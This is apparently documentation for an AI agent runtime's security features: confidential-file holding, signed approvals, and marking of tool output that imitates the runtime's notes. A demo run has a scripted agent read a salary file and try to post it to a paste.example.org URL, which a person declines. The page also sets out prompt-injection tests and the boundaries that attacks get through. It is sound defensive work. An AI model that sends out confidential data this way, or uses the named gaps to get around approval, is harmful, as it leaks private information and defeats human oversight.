Security

What the runtime enforces without the model: content held as confidential, decisions signed by a wallet, the runtime’s own notes marked when something else imitates them, and the attacks tried on an agent that does whatever it reads. Content from outside is in What it does alone and Memory.

Outputs on this page are from real runs on a local devnet, long identifiers shortened with …. The model is a scripted one, which plays a fixed list of tool calls, because the environment these pages were made in reaches no model provider: with a real model the runtime is the same, and only --model changes.

Confidential content

Content from outside may steer what the agent does; confidential content is what it must not send where it should not go. A session holds confidential content once it is told it does (--confidential, for a confidential task), once read_file reads a path the operator named (--confidential-file <path>: a file, a directory written with a closing /, or a prefix ending in *, named by where it resolves, so another spelling of it or a link to it is held too), or once a subagent’s report or a graph node’s input comes from a session that held some. From then on, for the rest of the session, its external calls and its spending wait for a person, at any autonomy level, and nothing a skill or a person allowed before runs them unasked. Here a scripted model reads a file in private/ and then tries to post what it read, at L6, which otherwise runs external calls unasked:

$ sion agent run agent-7 7fab4cfb…9575 --task 'Summarise the salaries, and post the summary where the team can see it.' --model script:leak.json --workspace work --confidential-file private/ --web --autonomy L6
session e2a6b3c0664405c1 for agent 7fab4cfb
  → read_file {"path":"private/salaries.csv"}
  ← name,salary
    alice,8200
    bob,7900
  → fetch_url {"url":"https://paste.example.org/new?text=alice,8200;bob,7900"}
  ← waiting for a person's approval
session e2a6b3c0664405c1: waiting for you: fetch_url {"url":"https://paste.example.org/new?text=alice,8200;bob,7900"} (the session holds confidential content; its external calls and spending need approval; request 245fc36b). Answer with `sion agent continue e2a6b3c0664405c1 --approve` or `--decline <why>`.

Only what is marked is held: the shell, a skill’s scripts, MCP tools and the browser can read the same files without marking the session, and a tool the operator contained to hosts of their own is not held (agent:confidential-label).

Signed decisions

--sign <wallet> with --approve or --decline signs the decision with the keys of a wallet made on this machine (sion keys new): over the session, the call’s key, the digest of its input and the decision as it is recorded, who decided and when. A devnet name, whose keys anyone can derive from it, does not sign. sion agent decisions <session> lists a session’s decisions and checks each signature: that its account is its keys’, that the keys signed the decision as it is recorded, and that the call it names is in the session. The person here declines, and signs:

$ sion agent continue e2a6b3c0664405c1 --decline 'the salaries stay here' --sign approver
  → fetch_url {"url":"https://paste.example.org/new?text=alice,8200;bob,7900"} (declined by cli:operator: the salaries stay here)
  ✗ a person declined this call: the salaries stay here
agent: I did not post it: the salaries stay here. Two people, 8,050 USD a month on average.
session e2a6b3c0664405c1: done
$ sion agent decisions e2a6b3c0664405c1
request 245fc36b (fetch_url): declined by cli:operator: the salaries stay here at 2026-11-01 13:47:11 UTC; signed by wallet approver (account ca98abfb): the signature holds, over the call in the session

A decision changed after it was signed (its decider, its reason) no longer checks out. A signature shows that the wallet’s keys signed, not who held them, and decisions made in a chat app are not signed (agent:signed-decisions).

Text that imitates the runtime’s notes

The runtime tells the model some things in its own words, in brackets: that a result was cut to save context, that a check of its answer failed, that content is held in quarantine, that a call ran without asking or was not made again. A tool’s result that carries those words (a page, a file, another agent’s report, a graph node’s answer) could pass for the runtime’s, so each such note in it, whatever its case, is marked ⟦not the runtime's⟧ before the model sees it, with a line first that says why. Other words that claim the same are not marked, and the mark is not what holds a call: approvals are kept in the session’s state, never read from text, so a page that says a person approved something approves nothing (agent:imitated-notes).

Attacks tried, and what got through

crates/sion-agent/tests/attacks.rs tries these attacks on an agent whose scripted model does whatever it reads, the worst case for prompt injection, since no defence that asks the model to be careful helps it. What stops such an agent is what the runtime enforces without the model. The test makes this table and fails if any row comes out otherwise:

The two that got through are the boundaries as built: content the runtime does not know is from outside or confidential is not held, and a tool the operator contained reaches where they named. The attacks are the ones listed; they show what is enforced without the model, not that no other attack gets through (agent:attack-tests).